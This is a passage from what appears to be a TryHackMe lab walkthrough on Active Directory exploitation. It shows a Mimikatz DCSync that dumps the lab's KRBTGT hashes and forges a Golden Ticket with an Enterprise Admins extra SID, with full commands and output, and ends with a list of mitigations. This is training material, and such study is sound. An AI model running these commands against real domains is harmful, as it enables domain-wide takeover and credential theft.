However, what if we want to generate our own TGTs to grant us access to everything? This is known as a Golden Ticket attack. In a Golden Ticket attack, we bypass the KDC altogether and create our own TGTs, essentially becoming a Ticket Granting Server (TGS). In order to forge TGTs, we need the following information:

  • The FQDN of the domain
  • The Security Identifier (SID) of the domain
  • The username of the account we want to impersonate
  • The KRBTGT password hash

The first three are usually easy to recover. The last one requires a domain compromise since the KRBTGT password hash is only stored on domain controllers. Luckily for us, we have just compromised the Tier 0 admins group with a forged certificate, so we are in a position to recover the KRBTGT password hash.

We will again use Mimikatz with a DC Sync to recover the KRBTGT password hash on THMSERVER2:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug 
Privilege '20' OK 

mimikatz # lsadump::dcsync /user:za\krbtgt 
[DC] 'za.tryhackme.loc' will be the domain 
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service  : ldap 
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt 

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) 
Account expiration   :
Password last change : 4/25/2022 6:18:22 PM
Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 16f9af38fca3ada405386b3b57366082 
    ntlm- 0: 16f9af38fca3ada405386b3b57366082
    lm  - 0: 35c7b671efe40860dc078afd2786c902 

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 4bf7050f5f09f6d59a8699081d9ed432

* Primary:Kerberos-Newer-Keys *
    Default Salt : ZA.TRYHACKME.LOCkrbtgt
    Default Iterations : 4096 
    Credentials
      aes256_hmac       (4096) : 9b52d4ffae227e50025574e4347783ee4f4f6c01c110b1ad4c715d0c977558ca 
      aes128_hmac       (4096) : c893fd72ddf7fe2ee545f52b8368602f
      des_cbc_md5       (4096) : d904d37f8ab6fed6 

* Primary:Kerberos *
    Default Salt : ZA.TRYHACKME.LOCkrbtgt
    Credentials
      des_cbc_md5       : d904d37f8ab6fed6

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest * 
    01  59ef8461b2d3808973106d3eae741ca6
    02  e7e04d83662aa1f0e23058bf822db70c
    03  738f9c03bbcfe61e0cc1f617a56ee1ca
    04  59ef8461b2d3808973106d3eae741ca6 
    05  e7e04d83662aa1f0e23058bf822db70c
    06  cf5bf42182aaaa694a6ca51ab2346e97
    07  59ef8461b2d3808973106d3eae741ca6 
    08  7943328089ebb9cd6856cb93e1c8e5eb
    09  7943328089ebb9cd6856cb93e1c8e5eb
    10  703d09859f5291a805f35efce9b2de4d 
    11  7ec84ffce154f8c3576c5ccfe270e306
    12  7943328089ebb9cd6856cb93e1c8e5eb
    13  09fcdbe4d28a7e845c4f7df0f5b942aa 
    14  7ec84ffce154f8c3576c5ccfe270e306
    15  9f5d5af22548a18694bb8886e2f6a0eb
    16  9f5d5af22548a18694bb8886e2f6a0eb 
    17  8d0eff223c176f71093f9d03f8a307df
    18  f5d27cfa462b19d062670445682aef8c
    19  3329d0412509cfe735c064d303dd05dc 
    20  7b5fb40e95c2fb16b5b92843158e83af
    21  17a9bb9485f780cbe33945fc581532a2
    22  17a9bb9485f780cbe33945fc581532a2 
    23  340490cea65bf6b5927cdf51444ef524
    24  14fbfe8a903667e4901113f484711a62
    25  14fbfe8a903667e4901113f484711a62 
    26  f67574e138db44d188d1e11b1f92a9d5
    27  fd72b74747a58338ccfe1bd6d3527445 
    28  f9b2e0e39df0a0cbeffa119c03a87b9b
    29  33a0a6986ba90410cbe8b5751a982393 

Inter-Realm TGTs

Using the KRBTGT password hash, we could now forge a Golden Ticket to access any resource in the child domain. This will also be discussed in more detail in the Persisting AD room. However, we can take this a step further by forging an Inter-Realm TGT. Inter-Realm TGTs are used to provide access to resources in other domains. In our case, we want to exploit the bidirectional trust relationship between the child and parent domain to gain full access to the parent domain.

We will include extra account SIDs from other domains when we construct the Golden Ticket to perform this exploit. Mimikatz can assist with this, allowing us to set the ExtraSids section of the KERB_VALIDATION_INFO structure of the Kerberos TGT. The ExtraSids section is described as “A pointer to a list of KERB_SID_AND_ATTRIBUTES structures that contain a list of SIDs corresponding to groups in domains other than the account domain to which the principal belongs”.

The key here is that we will exploit the trust the parent domain has with our child domain by adding the SID of the Enterprise Admins (EA) group as an extra SID to our forged ticket for the domain controller of the child domain. The EA group belongs to the parent domain and membership to this group essentially grants Administrative privileges over the entire forest! The default SID for this group is S-1-5-21-<RootDomain>-519.

Before we can go into exploitation, we first need to recover two SIDs:

  • The SID of the child domain controller (THMDC), which we will impersonate in our forged TGT
  • The SID of the Enterprise Admins in the parent domain, which we will add as an extra SID to our forged TGT

To recover these SIDs, we can use the AD-RSAT Powershell cmdlets. We can recover the SID of the child domain controller using the following command:

PS C:\Users\colin.lane\Desktop> Get-ADComputer -Identity "THMDC"


DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName       : THMDC.za.tryhackme.loc
Enabled           : True
Name              : THMDC
ObjectClass       : computer
ObjectGUID        : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName    : THMDC$
SID               : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :

We can recover the SID of the Enterprise Admins group using the following command to query the parent domain controller:

PS C:\Users\colin.lane\Desktop> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc


DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory     : Security
GroupScope        : Universal
Name              : Enterprise Admins
ObjectClass       : group
ObjectGUID        : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName    : Enterprise Admins
SID               : S-1-5-21-3330634377-1326264276-632209373-519

Exploiting Domain Trusts

We finally have all of the information required to create our forged TGT. We will use Mimikatz to generate this golden ticket. The command will look something like this:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) 
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/ 

mimikatz # privilege::debug 
Privilege '20' OK 

mimikatz # kerberos::golden /user:Administrator /domain:za.tryhackme.loc /sid:S-1-5-21-3885271727-2693558621-2658995185-1001 /service:krbtgt /rc4:16f9af38fca3ada405386b3b57366082 /sids:S-1-5-21-3330634377-1326264276-632209373-519 /ptt 
User      : Administrator 
Domain    : za.tryhackme.loc (ZA)
SID       : S-1-5-21-3885271727-2693558621-2658995185-1001
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3330634377-1326264276-632209373-519 ;
ServiceKey: 16f9af38fca3ada405386b3b57366082 - rc4_hmac_nt       
Service   : krbtgt
Lifetime  : 11/30/2022 7:22:46 PM ; 11/27/2032 7:22:46 PM ; 11/27/2032 7:22:46 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated 
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ za.tryhackme.loc' successfully submitted for current session

First, we will verify that this ticket works for access to THMDC since it is a valid ticket for the Administrator user of the child domain:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>dir \\thmdc.za.tryhackme.loc\c$ 
 Volume in drive \\thmdc.za.tryhackme.loc\c$ is Windows 
 Volume Serial Number is 1634-22A9 

 Directory of \\thmdc.za.tryhackme.loc\c$

01/04/2022  07:47 AM               103 delete-vagrant-user.ps1
05/01/2022  08:11 AM               169 dns_entries.csv
09/15/2018  07:19 AM    <DIR>          PerfLogs
03/21/2020  08:31 PM    <DIR>          Program Files
03/21/2020  08:28 PM    <DIR>          Program Files (x86)
05/01/2022  08:17 AM             1,725 thm-network-setup-dc.ps1
04/25/2022  06:13 PM    <DIR>          tmp
06/14/2022  02:13 PM    <DIR>          Users
04/25/2022  06:11 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  07:12 PM    <DIR>          Windows

This at least confirms that the Golden Ticket was forged for access to the child DC. However, since we specified extra SIDs, we should also now have access to the parent DC:

za\colin.lane@THMSERVER2 C:\Users\colin.lane\Desktop>dir \\thmrootdc.tryhackme.loc\c$\ 
 Volume in drive \\thmrootdc.tryhackme.loc\c$ is Windows 
 Volume Serial Number is 1634-22A9

 Directory of \\thmrootdc.tryhackme.loc\c$

01/04/2022  07:47 AM               103 delete-vagrant-user.ps1 
09/15/2018  07:19 AM    <DIR>          PerfLogs
03/21/2020  08:31 PM    <DIR>          Program Files
03/21/2020  08:28 PM    <DIR>          Program Files (x86)
05/01/2022  07:42 AM                31 root_dns_entries.csv
05/01/2022  08:07 AM             1,767 thm-network-setup-dc.ps1
04/25/2022  04:50 PM    <DIR>          tmp
04/27/2022  06:54 AM    <DIR>          Users
04/25/2022  04:50 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  05:29 PM    <DIR>          Windows

This proves that we now have fully compromised the parent domain solely by compromising one of the child domains!

Conclusion

Exploiting AD takes time to master, and the techniques used will highly depend on the configuration of the AD structure that is being attacked. The biggest thing to understand is that the process is cyclic. We will, in most cases, not be able to run a single boot-to-root exploit that gives us DA access. The best approach is to perform exploitation that furthers your access, then use the access that was achieved to perform enumeration again, looking for additional exploit paths that may be possible from this new position.

Exploiting AD takes time to master, and the techniques used will highly depend on the configuration of the AD structure that is being attacked. The biggest thing to understand is that the process is cyclic. We will, in most cases, not be able to run a single boot-to-root exploit that gives us DA access. The best approach is to perform exploitation that furthers your access, then use the access that was achieved to perform enumeration again, looking for additional exploit paths that may be possible from this new position.

Mitigations

AD exploitation, like AD enumeration, is incredibly hard to defend against. This is because what may be considered a misconfiguration that can be exploited, has an actual business case. However, we can do a couple of things to protect against exploitation:

  • We need to ensure that no configuration breaks our tiering model. Accounts in a lower tier should not have the ability to interact with resources in a higher tier. Furthermore, accounts from a higher tier should never log onto resources in a lower tier.
  • The principle of least privilege should be followed when permission delegation is performed. Furthermore, permission delegation should adhere to the tiering model, ensuring that a lower-tiered object can't alter a higher tiered object.
  • SMB signing should be enforced, not just enabled. This will prevent credential relay attempts.
  • AD objects and their configuration are not the only paths for exploitation. AD services, such as AD CS should also be considered part of the attack surface and secured.
  • We need to implement sufficient security controls to protect Tier 0 infrastructure and accounts in our child domains since a compromise of one can lead to the compromise of the entire forest.

With our exploitation of AD complete, the next step is to dig in our roots to make sure the blue team cannot simply purge our access.